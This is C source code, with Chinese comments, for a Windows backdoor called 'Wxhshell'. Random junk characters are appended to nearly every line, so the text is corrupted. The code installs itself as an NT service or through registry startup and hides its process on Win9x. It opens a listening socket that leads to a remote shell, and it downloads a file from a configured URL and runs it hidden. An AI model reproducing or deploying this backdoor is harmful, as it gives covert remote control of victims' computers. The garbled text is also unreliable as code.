ULONG UniqueProcessId; Q[I=T&
ULONG InheritedFromUniqueProcessId; j|%HIF25
} PROCESS_BASIC_INFORMATION; U,q\emR
7C ,UDp|
PROCNTQSIP NtQueryInformationProcess; jvFTR'R)=
M:3h e
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }36QsH8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;u(<h?%e
M8Z2Pg\0
HANDLE hProcess; b7tOo7a H)
PROCESS_BASIC_INFORMATION pbi; : b~6i%b
U1RpLkibQ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QxOjOKAG
if(NULL == hInst ) return 0; rKf-+6Na
yA(K=?sq
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kO{s^_qR^c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rJ{O(n]j
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fCtPu08{Z
9Z'8!$LYg
if (!NtQueryInformationProcess) return 0; q51Uf_\/
p)3U7"q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @u%_1
if(!hProcess) return 0; EC8b=B<DE
.dQQoyR+O
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +H#U~p$
WRDjh7~Efn
CloseHandle(hProcess); .Pw\~X3!
.0O2Qqdg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3*)ig@e6
if(hProcess==NULL) return 0;
S"$m]
yH*6@P4:0=
HMODULE hMod; Zrr5csE
char procName[255]; !M]\I &
unsigned long cbNeeded; sZm$|T0
,NVsn
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e `,ds~
F^LZeF[#t
CloseHandle(hProcess); FMkzrs
c#]q^L\x
if(strstr(procName,"services")) return 1; // 以服务启动 <_Q:'cx'
hq/k*;
return 0; // 注册表启动
$g+[yb7@
} 5N*Ux4M
7=OQ8IM!
// 主模块 H4!+q:<
int StartWxhshell(LPSTR lpCmdLine) /E5 5Pec
{ ^:* 1d
\
SOCKET wsl; Z(_ZAB%+D
BOOL val=TRUE; *`Yv.=cd
int port=0; JEgx@};O
struct sockaddr_in door; B7<Kc
Ch%m
if(wscfg.ws_autoins) Install(); -O!Zxg5x
OdY=z!Fls
port=atoi(lpCmdLine); m[@Vf9
adi[-L#
if(port<=0) port=wscfg.ws_port; 9>rPe1iv
%T9 sz4V
WSADATA data; DHT&,=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TdGnf
@b~fIW_3>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9Q-*@6G
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (N=5.7"T
door.sin_family = AF_INET; { e5/+W
door.sin_addr.s_addr = inet_addr("127.0.0.1"); tP%{P"g3^
door.sin_port = htons(port); -cm$[,b6
g{9+O7q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -,{-bi
closesocket(wsl); ]B]*/
return 1; j$Je6zq0x
} ,SiY;(b=\
U*P. :BvG
if(listen(wsl,2) == INVALID_SOCKET) { *(>}Y
closesocket(wsl); dG71*)<)t
return 1; }sFm9j7yR
} Iu*^xn
Wxhshell(wsl); {]]|5
\F
WSACleanup(); m&iH2|
Tl|:9_:t
return 0; gxMfu?zk"
wL^%w9q-
} d@G}~&.|
rf%7b8[v
// 以NT服务方式启动 \VFHHi:I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W|,V50K
{ 5pRV3K{H
DWORD status = 0; j]m|7]
DWORD specificError = 0xfffffff; ed_FiQd
zb
Z4|_
serviceStatus.dwServiceType = SERVICE_WIN32; 'vaLUy9]
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .pvV1JA'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RTu4@7XP
serviceStatus.dwWin32ExitCode = 0; Wt9Q;hK
serviceStatus.dwServiceSpecificExitCode = 0; Q9&kJ%Mo
serviceStatus.dwCheckPoint = 0; 3QOUU,Dt$
serviceStatus.dwWaitHint = 0; BMIyskl=i
@IP)S[^' t
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I;?X f
if (hServiceStatusHandle==0) return; y{a$y}7#X
.+([
status = GetLastError(); F[!ckes<bB
if (status!=NO_ERROR) 3u\;j; Td!
{ R1W}dRE}
serviceStatus.dwCurrentState = SERVICE_STOPPED; c$QX)V
serviceStatus.dwCheckPoint = 0; Vax^8 -
serviceStatus.dwWaitHint = 0; 5 VA(tzmCt
serviceStatus.dwWin32ExitCode = status; q0bHB_|wL
serviceStatus.dwServiceSpecificExitCode = specificError; ?`Y\)'}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )I-f U4?
return; 7 #=}:3c
} N8`4veVBx'
DF{Qw@P!
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6 Ik,zQL
serviceStatus.dwCheckPoint = 0; x/:4{
serviceStatus.dwWaitHint = 0; :ECi+DxBK
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }V|{lvt.
} sW^a`VM
=_8Tp~j
// 处理NT服务事件,比如:启动、停止 ^U8r0]9
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^:jN3@Q%
{ eb8w~
switch(fdwControl) s$*'^:
{ h`}3h<
8
case SERVICE_CONTROL_STOP: <_./SC
serviceStatus.dwWin32ExitCode = 0; $8BE[u|H2
serviceStatus.dwCurrentState = SERVICE_STOPPED; U`x bPQ
serviceStatus.dwCheckPoint = 0; T=YzJyQC)
serviceStatus.dwWaitHint = 0; **[Z^$)u(
{ X{-9FDW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^R$'eG 4L?
} fXQiNm[P
return; ^-M^gYBR
case SERVICE_CONTROL_PAUSE: ._96*r=o
serviceStatus.dwCurrentState = SERVICE_PAUSED; a/uo}[Y
break; 3?s ?XAh
case SERVICE_CONTROL_CONTINUE: Bfv.$u00p
serviceStatus.dwCurrentState = SERVICE_RUNNING; +/+P\O
break; D=)f
)-u'
case SERVICE_CONTROL_INTERROGATE: T/P7F\R
break; 8%~t
}; VIR. yh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S2VVv$r_6
} Q^Bt1C
'~wpP=<yyF
// 标准应用程序主函数 :Ld!mRZF
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VZIR4J[\.
{ www`=)A;
GW2')}g
// 获取操作系统版本 efuK
OsIsNt=GetOsVer(); kDz>r#%
GetModuleFileName(NULL,ExeFile,MAX_PATH); wn11\j&
2PSTGG8JV
// 从命令行安装 7>
Pgc
if(strpbrk(lpCmdLine,"iI")) Install(); K$REZe
)DUL)S
// 下载执行文件 y/@iT8$rp
if(wscfg.ws_downexe) { ".~{:=
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ok%}|/P4
WinExec(wscfg.ws_filenam,SW_HIDE); '?GQ~Bf<>
} xkA2g[
.]}N55M
if(!OsIsNt) { DjW$?>
// 如果时win9x,隐藏进程并且设置为注册表启动 - &[z\"T
HideProc(); K.SeK3(
StartWxhshell(lpCmdLine); y^FOsr
} $rG<uO
else B">yKB:D}t
if(StartFromService()) 2#_38=K=@
// 以服务方式启动 5`E))?*"Pe
StartServiceCtrlDispatcher(DispatchTable); xUYow
else oaDsk<(j;R
// 普通方式启动 [D'Gr*5~{
StartWxhshell(lpCmdLine); /CT(k1>
*[kx F*^
return 0; $~'Tf>e
}